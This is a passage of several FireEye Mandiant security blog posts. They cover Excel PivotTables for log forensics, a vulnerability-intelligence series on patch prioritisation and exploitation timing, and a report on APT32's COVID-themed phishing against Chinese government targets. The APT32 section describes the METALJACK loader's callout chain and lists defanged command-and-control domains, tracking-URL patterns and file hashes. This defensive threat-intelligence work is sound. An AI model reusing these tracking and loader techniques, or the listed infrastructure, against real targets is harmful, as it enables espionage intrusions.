Now that our dataset is completely enriched by either using VLOOKUP or XLOOKUP, we can start hunting for anomalous activity. As a quick first step, since we know at least a handful of IP addresses are potentially malicious, we can filter on the “Threat Intel” column for all rows that match “TMP.OGRE” and reveal logons with source IP addresses related to known threat actors. Now we have timeframes and suspected compromised accounts to pivot off of for additional hunting through other data.

#### PIVOT! PIVOT! PIVOT!

One of the most useful tools for highlighting anomalies by summarizing data, performing frequency analysis and quickly obtaining other statistics about a given dataset is Excel’s PivotTable function.

#### Location Anomalies

Let’s utilize a PivotTable to perform frequency analysis on the location from which users logged in. This type of technique may highlight activity where a user account logged in from a location which is unusual for them.

To create a PivotTable for our data, we can select any cell in our O365 data and select the entire range with Ctrl+A. Then, under the “Insert” tab in the ribbon, select “PivotTable”:

Figure 10: PivotTable selection

This will bring up a window, as seen in Figure 11, to confirm the data for which we want to make a PivotTable (Step 1 in Figure 11). Since we selected our O365 log data set with Ctrl+A, this should be automatically populated. It will also ask where we want to put the PivotTable (Step 2 in Figure 11). In this instance, we created another sheet called “PivotTable 1” to place the PivotTable:

Figure 11: PivotTable creation

Now that the PivotTable is created, we must select how we want to populate the PivotTable using our data. Remember, we are trying to determine the locations from which all users logged in. We will want a row for each user and a sub-row for each location the user has logged in from. Let’s add a count of how many times they logged in from each location as well. We will use the “Date” field to do this for this example:

Figure 12: PivotTable field definitions

Examining this table, we can immediately see there are two users with source location anomalies: Ginger Breadman and William Brody have a small number of logons from “FarFarAway”, which is abnormal for these users based on this data set.

We can add more data to this PivotTable to get a timeframe of this suspicious activity by adding two more “Date” fields to the “Values” area. Excel defaults to “Count” of whatever field we drop in this area, but we will change this to the “Minimum” and “Maximum” values by using the “Value Field Settings”, as seen in Figure 13.

Figure 13: Adding min and max dates

Now we have a PivotTable that shows us anomalous locations for logons, as well as the timeframe in which the logons occurred, so we can hone our investigation. For this example, we also formatted all cells with timestamp values to reflect the format FireEye Mandiant typically uses during analysis by selecting all the appropriate cells, right-clicking and choosing “Format Cells”, and using a “Custom” format of “YYYY-MM-DD HH:MM:SS”.

Figure 14: PivotTable with suspicious locations and timeframe

Geolocation anomalies may not always be valuable. However, using a similar configuration as the previous example, we can identify suspicious source IP addresses. We will add “User Principle Name” and “IP Address” fields as Rows, and “IP Address” as Values. Let’s also add the “App” field to Columns. Our field settings and resulting table are displayed in Figure 15:

Figure 15: PivotTable with IP addresses and apps

With just a few clicks, we have a summarized table indicating which IP addresses each user logged in from, and which app they logged into. We can quickly identify two users logged in from IP addresses in the 203.0.113.0/24 range six times, and which applications they logged into from each of these IP addresses.

While these are just a couple use cases, there are many ways to format and view evidence using PivotTables. We recommend trying PivotTables on any data set being reviewed with Excel and experimenting with the Rows, Columns, and Values parameters.

We also recommend adjusting the PivotTable options, which can help reformat the table itself into a format that might fit requirements.

#### Conclusion

These Excel functions are used frequently during investigations at FireEye Mandiant and are considered important forensic analysis techniques. The examples we give here are just a glimpse into the utility of LOOKUP functions and PivotTables. LOOKUP functions can be used to reference a multitude of data sources and can be applied in other situations during investigations such as tracking remediation and analysis efforts.

PivotTables may be used in a variety of ways as well, depending on what data is available, and what sort of information is being analyzed to identify suspicious activity. Employing these techniques, alongside the ones we highlighted previously, on a consistent basis will go a long way in "excelerating" forensic analysis skills and efficiency.

# Putting the Model to Work: Enabling Defenders With Vulnerability Intelligence — Intelligence for Vulnerability Management, Part Four

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

Organizations often have to make difficult choices when it comes to patch prioritization. Many are faced with securing complex network infrastructure with thousands of systems, different operating systems, and disparate geographical locations. Even when armed with a simplified vulnerability rating system, it can be hard to know where to start. This problem is compounded by the ever-changing threat landscape and increased access to zero-days.

At FireEye, we apply the rich body of knowledge accumulated over years of global intelligence collection, incident response investigations, and device detections, to help our customers defend their networks. This understanding helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations.

In this blog post, we’ll demonstrate how we apply intelligence to help organizations assess risk and make informed decisions about vulnerability management and patching in their environments.

#### Functions of Vulnerability Intelligence

Vulnerability intelligence helps clients to protect their organizations, assets, and users in three main ways:

Figure 1: Vulnerability intelligence can help with risk assessment and informed decision making

#### Tailoring Vulnerability Prioritization

We believe it is important for organizations to build a defensive strategy that prioritizes the types of threats that are most likely to impact their environment, and the threats that could cause the most damage. When organizations have a clear picture of the spectrum of threat actors, malware families, campaigns, and tactics that are most relevant to their organization, they can make more nuanced prioritization decisions when those threats are linked to exploitation of vulnerabilities. A lower risk vulnerability that is actively being exploited in the wild against your organization or similar organizations likely has a greater potential impact to you than a vulnerability with a higher rating that is not actively being exploited.

Figure 2: Patch Prioritization Philosophy

#### Integration of Vulnerability Intelligence in Internal Workflows

Based on our experience assisting organizations globally with enacting intelligence-led security, we outline three use cases for integrating vulnerability intelligence into internal workflows.

Figure 3: Integration of vulnerability intelligence into internal workflows

Tools and Use Cases for Operationalizing Vulnerability Intelligence

1. Automate Processes by Fusing Intelligence with Internal Data

Automation is valuable to security teams with limited resources. Similar to automated detecting and blocking of indicator data, vulnerability threat intelligence can be automated by merging data from internal vulnerability scans with threat intelligence (via systems like the Mandiant Intelligence API) and aggregated into a SIEM, Threat Intelligence Platform, and/or ticketing system. This enhances visibility into various sources of both internal and external data with vulnerability intelligence providing risk ratings and indicating which vulnerabilities are being actively exploited. FireEye also offers a custom tool called FireEye Intelligence Vulnerability Explorer (“FIVE”), described in more detail below for quickly correlating vulnerabilities found in logs and scans with Mandiant ratings.

Security teams can similarly automate communication and workflow tracking processes using threat intelligence by defining rules for auto-generating tickets based on certain combinations of Mandiant risk and exploitation ratings; for example, internal service-level-agreements (SLAs) could state that ‘high’ risk vulnerabilities that have an exploitation rating of ‘available,’ ‘confirmed,’ or ‘wide’ must be patched within a set number of days. Of course, the SLA will depend on the company’s operational needs, the capability of the team that is advising the patch process, and executive buy-in to the SLA process. Similarly, there may be an SLA defined for patching vulnerabilities that are of a certain age. Threat intelligence tells us that adversaries continue to use older vulnerabilities as long as they remain effective. For example, as recently as January 2020, we observed a Chinese cyber espionage group use an exploit for CVE-2012-0158, a Microsoft Office stack-based buffer overflow vulnerability originally released in 2012, in malicious email attachments to target organizations in Southeast Asia. Automating the vulnerability-scan-to-vulnerability-intelligence correlation process can help bring this type of issue to light.

Another potential use case employing automation would be incorporating vulnerability intelligence as security teams are testing updates or new hardware and software prior to introduction into the production environment. This could dramatically reduce the number of vulnerabilities that need to be patched in production and help prioritize those vulnerabilities that need to be patched first based on your organization’s unique threat profile and business operations.

2. Communicating with Internal Stakeholders

Teams can leverage vulnerability reporting to send internal messaging, such as flash-style notifications, to alert other teams when Mandiant rates a vulnerability known to impact your systems high or critical. These are the vulnerabilities that should take priority in patching and should be patched outside of the regular cycle.

Data-informed intelligence analysis may help convince stakeholders outside of the security organization the importance of patching quickly, even when this is inconvenient to business operations. Threat Intelligence can inform an organization’s appropriate use of resources for security given the potential business impact of security incidents.

3. Threat Modeling

Organizations can leverage vulnerability threat intelligence to inform their threat modeling to gain insight into the most likely threats to their organization, and better prepare to address threats in the mid to long term. Knowledge of which adversaries pose the greatest threat to your organization, and then knowledge of which vulnerabilities those threat groups are exploiting in their operations, can enable your organization to build out security controls and monitoring based on those specific CVEs.

#### Examples

The following examples illustrate workflows supported by vulnerability threat intelligence to demonstrate how organizations can operationalize threat intelligence in their existing security teams to automate processes and increase efficiency given limited resources.

Example 1: Using FIVE for Ad-hoc Vulnerability Prioritization

The FireEye Intelligence Vulnerability Explorer (“FIVE”) tool is available for customers here. It is available for MacOS and Windows, requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration.

Figure 4: FIVE Tool for Windows and MacOS

In this scenario, an organization’s intelligence team was asked to quickly identify any vulnerability that required patching from a server vulnerability scan after that server was rebuilt from a backup image. The intelligence team was presented with a text file containing a list of CVE numbers. Users can drag-and-drop a text readable file (CSV, TEXT, JSON, etc.) into the FIVE tool and the CVE numbers will be discovered from the file using regex. As shown in Figure 6 (below), in this example, the following vulnerabilities were found in the file and presented to the user.

Figure 5: FIVE tool startup screen waiting for file input

Figure 6: FIVE tool after successfully regexing the CVE-IDs from the file

After selecting all CVE-IDs, the user clicked the “Fetch Vulnerabilities” button, causing the application to make the necessary two-stage API call to the Intelligence API.

The output depicted in Figure 7 shows the user which vulnerabilities should be prioritized based on FireEye’s risk and exploitation ratings. The red and maroon boxes indicate vulnerabilities that require attention, while the yellow indicate vulnerabilities that should be reviewed for possible action. Details of the vulnerabilities are displayed below, with associated intelligence report links providing further context.

Figure 7: FIVE tool with meta-data, CVE-IDs, and links to related Intelligence Reports

FIVE can also facilitate other use cases for vulnerability intelligence. For example, this chart can be attached in messaging to other internal stakeholders or executives for review, as part of a status update to provide visibility on the organization’s vulnerability management program.

Example 2: Vulnerability Prioritization, Internal Communications, Threat Modeling

CVE-2019-19781 is a vulnerability affecting Citrix that Mandiant Threat Intelligence rated critical. Mandiant discussed early exploitation of this vulnerability in a January 2020 blog post. We continued to monitor for additional exploitation, and informed our clients when we observed exploitation by ransomware operators and Chinese espionage group, APT41.

In cases like these, threat intelligence can help impacted organizations find the “signal” in the “noise” and prioritize patching using knowledge of exploitation and the motives and targeting patterns of threat actors behind the exploitation. Enterprises can use intelligence to inform internal stakeholders of the potential risk and provide context as to the potential business and financial impact of a ransomware infection or an intrusion by a highly resourced state sponsored group. This support the immediate patch prioritization decision while simultaneously emphasizing the value of a holistically informed security organization.

Example 3: Intelligence Reduces Unnecessary Resource Expenditure — Automating Vulnerability Prioritization and Communications

Another common application for vulnerability intelligence is informing security teams and stakeholders when to stand down. When a vulnerability is reported in the media, organizations often spin up resources to patch as quickly as possible. Leveraging threat intelligence in security processes help an organization discern when it is necessary to respond in an all-hands-on-deck manner.

Take the case of the CVE-2019-12650, originally disclosed on Sept. 25, 2019 with an NVD rating of “High.” Without further information, an organization relying on this score to determine prioritization may include this vulnerability in the same patch cycle along with numerous other vulnerabilities rated High or Critical. As previously discussed, we have experts review the vulnerability and determine that it required the highest level of privileges available to successfully exploit, and there was no evidence of exploitation in the wild.

This is a case where threat intelligence reporting as well as automation can effectively minimize the need to unnecessarily spin up resources. Although the public NVD score rated this vulnerability high, Mandiant Intelligence rated it as “low” risk due to the high level of privileges needed to use it and lack of exploitation in the wild. Based on this assessment, organizations may decide that this vulnerability could be patched in the regular cycle and does not necessitate use of additional resources to patch out-of-band. When Mandiant ratings are automatically integrated into the patching ticket generation process, this can support efficient prioritization. Furthermore, an organization could use the analysis to issue an internal communication informing stakeholders of the reasoning behind lowering the prioritization.

#### Vulnerabilities: Managed

Because we have been closely monitoring vulnerability exploitation trends for years, we were able to distinguish when attacker use of zero-days evolved from use by a select class of highly skilled attackers, to becoming accessible to less skilled groups with enough money to burn. Our observations consistently underscore the speed with which attackers exploit useful vulnerabilities, and the lack of exploitation for vulnerabilities that are hard to use or do not help attackers fulfill their objectives. Our understanding of the threat landscape helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations.

Mandiant Threat Intelligence enables organizations to implement a defense-in-depth approach to holistically mitigate risk by taking all feasible steps—not just patching—to prevent, detect, and stymie attackers at every stage of the attack lifecycle with both technology and human solutions.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Mandiant offers Intelligence Capability Development (ICD) services to help organizations optimize their ability to consume, analyze and apply threat intelligence.

The FIVE tool is available on the FireEye Market. It requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration. Please contact your Intelligence Enablement Manager or FireEye Support to obtain API keys.

Mandiant's OT Asset Vulnerability Assessment Service informs customers of relevant vulnerabilities by matching a customer's asset list against vulnerabilities and advisories. Relevant vulnerabilities and advisories are delivered in a report from as little as once a year, to as often as once a week. Additional add-on services such as asset inventory development and deep dive analysis of critical assets are available. Please contact your Intelligence Enablement Manager for more information.

# Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage

From at least January to April 2020, suspected Vietnamese actors APT32 carried out intrusion campaigns against Chinese targets that Mandiant Threat Intelligence believes was designed to collect intelligence on the COVID-19 crisis. Spear phishing messages were sent by the actor to China's Ministry of Emergency Management as well as the government of Wuhan province, where COVID-19 was first identified. While targeting of East Asia is consistent with the activity we’ve previously reported on APT32, this incident, and other publicly reported intrusions, are part of a global increase in cyber espionage related to the crisis, carried out by states desperately seeking solutions and nonpublic information.

#### Phishing Emails with Tracking Links Target Chinese Government

The first known instance of this campaign was on Jan. 6, 2020, when APT32 sent an email with an embedded tracking link (Figure 1) to China's Ministry of Emergency Management using the sender address lijianxiang1870@163[.]com and the subject 第一期办公设备招标结果报告 (translation: Report on the first quarter results of office equipment bids). The embedded link contained the victim's email address and code to report back to the actors if the email was opened.

Figure 1: Phishing email to China's Ministry of Emergency Management

Mandiant Threat Intelligence uncovered additional tracking URLs that revealed targets in China's Wuhan government and an email account also associated with the Ministry of Emergency Management.

• libjs.inquirerjs[.]com/script/<VICTIM>@wuhan.gov.cn.png
• libjs.inquirerjs[.]com/script/<VICTIM>@chinasafety.gov.cn.png
• m.topiccore[.]com/script/<VICTIM>@chinasafety.gov.cn.png
• m.topiccore[.]com/script/<VICTIM>@wuhan.gov.cn.png
• libjs.inquirerjs[.]com/script/<VICTIM>@126.com.png

The libjs.inquirerjs[.]com domain was used in December as a command and control domain for a METALJACK phishing campaign likely targeting Southeast Asian countries.

#### Additional METALJACK Activity Suggests Campaigns Targeting Mandarin Speakers Interested in COVID-19

APT32 likely used COVID-19-themed malicious attachments against Chinese speaking targets. While we have not uncovered the full execution chain, we uncovered a METALJACK loader displaying a Chinese-Language titled COVID-19 decoy document while launching its payload.

When the METALJACK loader, krpt.dll (MD5: d739f10933c11bd6bd9677f91893986c) is loaded, the export "_force_link_krpt" is likely called. The loader executes one of its embedded resources, a COVID-themed RTF file, displaying the content to the victim and saving the document to %TEMP%.

The decoy document (Figure 2) titled 冠状病毒实时更新：中国正在追踪来自湖北的旅行者, MD5: c5b98b77810c5619d20b71791b820529 (Translation: COVID-19 live updates: China is currently tracking all travelers coming from Hubei Province) displays a copy of a New York Times article to the victim.

Figure 2: COVID-themed decoy document

The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com. It then attempts to call out to the URL. If the callout is successful, the malware loads the METALJACK payload into memory.

It then uses vitlescaux[.]com for command and control.

#### Outlook

The COVID-19 crisis poses an intense, existential concern to governments, and the current air of distrust is amplifying uncertainties, encouraging intelligence collection on a scale that rivals armed conflict. National, state or provincial, and local governments, as well as non-government organizations and international organizations, are being targeted, as seen in reports. Medical research has been targeted as well, according to public statements by a Deputy Assistant Director of the FBI. Until this crisis ends, we anticipate related cyber espionage will continue to intensify globally.

#### Indicators

 Type Indicators Domains m.topiccore[.]com jcdn.jsoid[.]com libjs.inquirerjs[.]com vitlescaux[.]com Email Address lijianxiang1870@163[.]com Files MD5: d739f10933c11bd6bd9677f91893986c METALJACK loader MD5: a4808a329b071a1a37b8d03b1305b0cb METALJACK Payload MD5: c5b98b77810c5619d20b71791b820529 Decoy Document (Not Malicious)

#### Detecting the Techniques

 Platform Signature Name Endpoint Security Generic.mg.d739f10933c11bd6 Network Security Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic Email Security Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic Helix

#### Mandiant Security Validation Actions

• A150-119 - Protected Theater - APT32, METALJACK Execution
• A150-104 - Phishing Email - Malicious Attachment, APT32, Contact Information Lure

#### MITRE ATT&CK Technique Mapping

 Tactic Techniques Initial Access Spearphishing Attachment (T1193), Spearphising Link (T1192) Execution Regsvr32 (T1117), User Execution (T1204) Defense Evasion Regsvr32 (T1117) Command and Control Standard Cryptographic Protocol (T1032), Custom Command and Control Protocol (T1094)

# Separating the Signal from the Noise: How Mandiant Intelligence Rates Vulnerabilities — Intelligence for Vulnerability Management, Part Three

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

Every information security practitioner knows that patching vulnerabilities is one of the first steps towards a healthy and well-maintained organization. But with thousands of vulnerabilities disclosed each year and media hype about the newest “branded” vulnerability on the news, it’s hard to know where to start.

The National Vulnerability Database (NVD) considers a range of factors that are fed into an automated process to arrive at a score for CVSSv3. Mandiant Threat Intelligence takes a different approach, drawing on the insight and experience of our analysts (Figure 1). This human input allows for qualitative factors to be taken into consideration, which gives additional focus to what matters to security operations.

Figure 1: How Mandiant Rates Vulnerabilities

#### Assisting Patch Prioritization

We believe our approach results in a score that is more useful for determining patching priorities, as it allows for the adjustment of ratings based on factors that are difficult to quantify using automated means. It also significantly reduces the number of vulnerabilities rated ‘high’ and ‘critical’ compared to CVSSv3 (Figure 2). We consider critical vulnerabilities to pose significant security risks and strongly suggest that remediation steps are taken to address them as soon as possible. We also believe that limiting ‘critical’ and ‘high’ designations helps security teams to effectively focus attention on the most dangerous vulnerabilities. For instance, from 2016-2019 Mandiant only rated two vulnerabilities as critical, while NVD assigned 3,651 vulnerabilities a ‘critical’ rating (Figure 3).

Figure 2: Criticality of US National Vulnerability Database (NVD) CVSSv3 ratings 2016-2019 compared to Mandiant vulnerability ratings for the same vulnerabilities

Figure 3: Numbers of ratings at various criticality tiers from NVD CVSSv3 scores compared to Mandiant ratings for the same vulnerabilities

#### Mandiant Vulnerability Ratings Defined

Our rating system includes both an exploitation rating and a risk rating:

The Exploitation Rating is an in indication of what is occurring in the wild.

Figure 4: Mandiant Exploitation Rating definitions

The Risk Rating is our expert assessment of what impact an attacker could have on a targeted organization, if they were to exploit a vulnerability.

Figure 5: Mandiant Risk Rating definitions

We intentionally use the critical rating sparingly, typically in cases where exploitation has serious impact, exploitation is trivial with often no real mitigating factors, and the attack surface is large and remotely accessible. When Mandiant uses the critical rating, it is an indication that remediation should be a top priority for an organization due to the potential impacts and ease of exploitation.

For example, Mandiant Threat Intelligence rated CVE-2019-19781 as critical due to the confluence of widespread exploitation—including by APT41—the public release of proof-of-concept (PoC) code that facilitated automated exploitation, the potentially acute outcomes of exploitation, and the ubiquity of the software in enterprise environments.

CVE-2019-19781 is a path traversal vulnerability of the Citrix Application Delivery Controller (ADC) 13.0 that when exploited, allows an attacker to remotely execute arbitrary code. Due to the nature of these systems, successful exploitation could lead to further compromises of a victim's network through lateral movement or the discovery of Active Directory (AD) and/or LDAP credentials. Though these credentials are often stored in hashes, they have been proven to be vulnerable to password cracking. Depending on the environment, the potential second order effects of exploitation of this vulnerability could be severe.

We described widespread exploitation of CVE-2019-19781 in our blog post earlier this year, including a timeline from disclosure on Dec. 17, 2019, to the patch releases, which began a little over a month later on Jan. 20, 2020. Significantly, within hours of the release of PoC code on Jan. 10, 2020, we detected reconnaissance for this vulnerability in FireEye telemetry data. Within days, we observed weaponized exploits used to gain footholds in victim environments. On the same day the first patches were released, Jan. 20, 2020, we observed APT41, one of the most prolific Chinese groups we track, kick off an expansive campaign exploiting CVE-2019-19781 and other vulnerabilities against numerous targets.

#### Factors Considered in Ratings

Our vulnerability analysts consider a wide variety of impact-intensifying and mitigating factors when rating a vulnerability. Factors such as actor interest, availability of exploit or PoC code, or exploitation in the wild can inform our analysis, but are not primary elements in rating.

Impact considerations help determine what impact exploitation of the vulnerability can have on a targeted system.

 Impact Type Impact Consideration Exploitation Consequence The result of successful exploitation, such as privilege escalation or remote code execution Confidentiality Impact The extent to which exploitation can compromise the confidentiality of data on the impacted system Integrity Impact The extent to which exploitation allows attackers to alter information in impacted systems Availability Impact The extent to which exploitation disrupts or restricts access to data or systems

Mitigating factors affect an attacker’s likelihood of successful exploitation.

 Mitigating Factor Mitigating Consideration Exploitation Vector What methods can be used to exploit the vulnerability? Attacking Ease How difficult is the exploit to use in practice? Exploit Reliability How consistently can the exploit execute and perform the intended malicious activity? Access Vector What type of access (i.e. local, adjacent network, or network) is required to successfully exploit the vulnerability? Access Complexity How difficult is it to gain access needed for the vulnerability? Authentication Requirements Does the exploitation require authentication and, if so, what type of authentication? Vulnerable Product Ubiquity How commonly is the vulnerable product used in enterprise environments? Product's Targeting Value How attractive is the vulnerable software product or device to threat actors to target? Vulnerable Configurations Does exploitation require specific configurations, either default or non-standard?

#### Mandiant Vulnerability Rating System Applied

The following are examples of cases in which Mandiant Threat Intelligence rated vulnerabilities differently than NVD by considering additional factors and incorporating information that either was not reported to NVD or is not easily quantified in an algorithm.

 Vulnerability Vulnerability Description NVD Rating Mandiant Rating Explanation CVE-2019-12650 A command injection vulnerability in the Web UI component of Cisco IOS XE versions 16.11.1 and earlier that, when exploited, allows a privileged attacker to remotely execute arbitrary commands with root privileges High Low This vulnerability was rated high by NVD, but Mandiant Threat Intelligence rated it as low risk because it requires the highest level of privileges – level 15 admin privileges – to exploit. Because this level of access should be quite limited in enterprise environments, we believe that it is unlikely attackers would be able to leverage this vulnerability as easily as others. There is no known exploitation of this activity. CVE-2019-5786 A use after free vulnerability within the FileReader component in Google Chrome 72.0.3626.119 and prior that, when exploited, allows an attacker to remotely execute arbitrary code. Medium High NVD rated CVE-2019-5786 as medium, while Mandiant Threat Intelligence rated it as high risk. The difference in ratings is likely due to NVD describing the consequences of exploitation as denial of service, while we know of exploitation in the wild which results in remote code execution in the context of the renderer, which is a more serious outcome.

As demonstrated, factors such as the assessed ease of exploitation and the observance of exploitation in the wild may result a different priority rating than the one issued by NVD. In the case of CVE-2019-12650, we ultimately rated this vulnerability lower than NVD due to the required privileges needed to execute the vulnerability as well as the lack of observed exploitation. On the other hand, we rated the CVE-2019-5786 as high risk due to the assessed severity, ubiquity of the software, and confirmed exploitation.

In early 2019, Google reported two zero-day vulnerabilities were being used together in the wild: CVE-2019-5786 (Chrome zero-day vulnerability) and CVE-2019-0808 (a Microsoft privilege escalation vulnerability). Google quickly released a patch for the Chrome vulnerability pushed it to users through Chrome’s auto-update feature on March 1. CVE-2019-5786 is significant because it can impact all major operating systems, Windows, Mac OS, and Linux, and requires only minimal user interaction, such as navigating or following a link to a website hosting exploit code, to achieve remote code execution. The severity is further compounded by a public blog post and proof of concept exploit code that was released a few weeks later and subsequently incorporated into a Metasploit module.

#### The Future of Vulnerability Analysis Requires Algorithms and Human Intelligence

We expect that the volume of vulnerabilities to continue to increase in coming years, emphasizing the need for a rating system that accurately identifies the most significant vulnerabilities and provides enough nuance to allow security teams to tackle patching in a focused manner. As the quantity of vulnerabilities grows, incorporating assessments of malicious actor use, that is, observed exploitation as well as the feasibility and relative ease of using a particular vulnerability, will become an even more important factor in making meaningful prioritization decisions.

Mandiant Threat Intelligence believes that the future of vulnerability analysis will involve a combination of machine (structured or algorithmic) and human analysis to assess the potential impact of a vulnerability and the true threat that it poses to organizations. Use of structured algorithmic techniques, which are common in many models, allows for consistent and transparent rating levels, while the addition of human analysis allows experts to integrate factors that are difficult to quantify, and adjust ratings based on real-world experience regarding the actual risk posed by various types of vulnerabilities.

Human curation and enhancement layered on top of automated rating will provide the best of both worlds: speed and accuracy. We strongly believe that paring down alerts and patch information to a manageable number, as well as clearly communicating risk levels with Mandiant vulnerability ratings makes our system a powerful tool to equip network defenders to quickly and confidently take action against the highest priority issues first.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

# Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Check out our first post on zero-day vulnerabilities.

Attackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond. FireEye Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available.

Figure 1: Percentage of vulnerabilities exploited at various times in relation to patch release

FireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019. The majority of vulnerabilities were exploited as zero-days – before a patch was available. More than a quarter were exploited within one month after the patch date. Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability.

We believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date. Frequently, first exploitation dates are not publicly disclosed. It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date.

Figure 2: Time between vulnerability exploitation and patch issuance

­­­Time Between Disclosure and Patch Release

The average time between disclosure and patch availability was approximately 9 days. This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019. The majority of these vulnerabilities, however, were patched quickly after disclosure. In 59% of cases, a patch was released on the same day the vulnerability was disclosed. These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems.

Exploitation After Patch Release

While the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released. For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation. Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch.

 Time to Exploit for Vulnerabilities First Exploited after a Patch Hours Two vulnerabilities were successfully exploited within hours of a patch release, CVE-2018-2628 and CVE-2018-7602. Days 12 percent of vulnerabilities were exploited within the first week following the patch release. One Month 15 percent of vulnerabilities were exploited after one week but within one month of patch release. Years In multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior.

Table 1: Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure

#### Case Studies

We continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations. The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns. Successful operations by these types of groups are likely to have a high potential impact.

Figure 3: Timeline of activity for CVE-2018-15982

CVE-2018-15982: A use after free vulnerability in a file package in Adobe Flash Player 31.0.0.153 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. This vulnerability was exploited by espionage groups—Russia's APT28 and North Korea's APT37—as well as TEMP.MetaStrike and other financially motivated attackers.

Figure 4: Timeline of activity for CVE-2018-20250

CVE-2018-20250: A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code. This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros.

Figure 5: Timeline of Activity for CVE-2018-4878

CVE-2018-4878: A use after free vulnerability exists within the DRMManager’s “initialize” call in Adobe Flash Player 28.0.0.137 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. Mandiant Intelligence confirmed that North Korea’s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017. Within 8 days of disclosure, we observed Russia’s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea’s TEMP.Hermit also using within approximately a month of disclosure.

#### Availability of PoC or Exploit Code

The availability of POC or exploit code on its own does not always increase the probability or speed of exploitation. However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction. For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers. There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2).

 Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events Product CVE FireEye Risk Rating 1 day WinRAR CVE-2018-20250 Medium 1 day Drupal CVE-2018-7600 High 1 day Cisco Adaptive Security Appliance CVE-2018-0296 Medium 2 days Apache Struts CVE-2018-11776 High 2 days Cisco Adaptive Security Appliance CVE-2018-0101 High 2 days Oracle WebLogic Server CVE-2018-2893 High 2 days Microsoft Windows Server CVE-2018-8440 Medium 2 days Drupal CVE-2019-6340 Medium 2 days Atlassian Confluence CVE-2019-3396 High

Table 2: Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018–Q3 2019

#### Trends by Targeted Products

FireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations. For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6). Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products.

The majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings. In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns.

Figure 6: Exploited vulnerabilities by vendor, Q1 2018–Q3 2019

#### Outlook and Implications

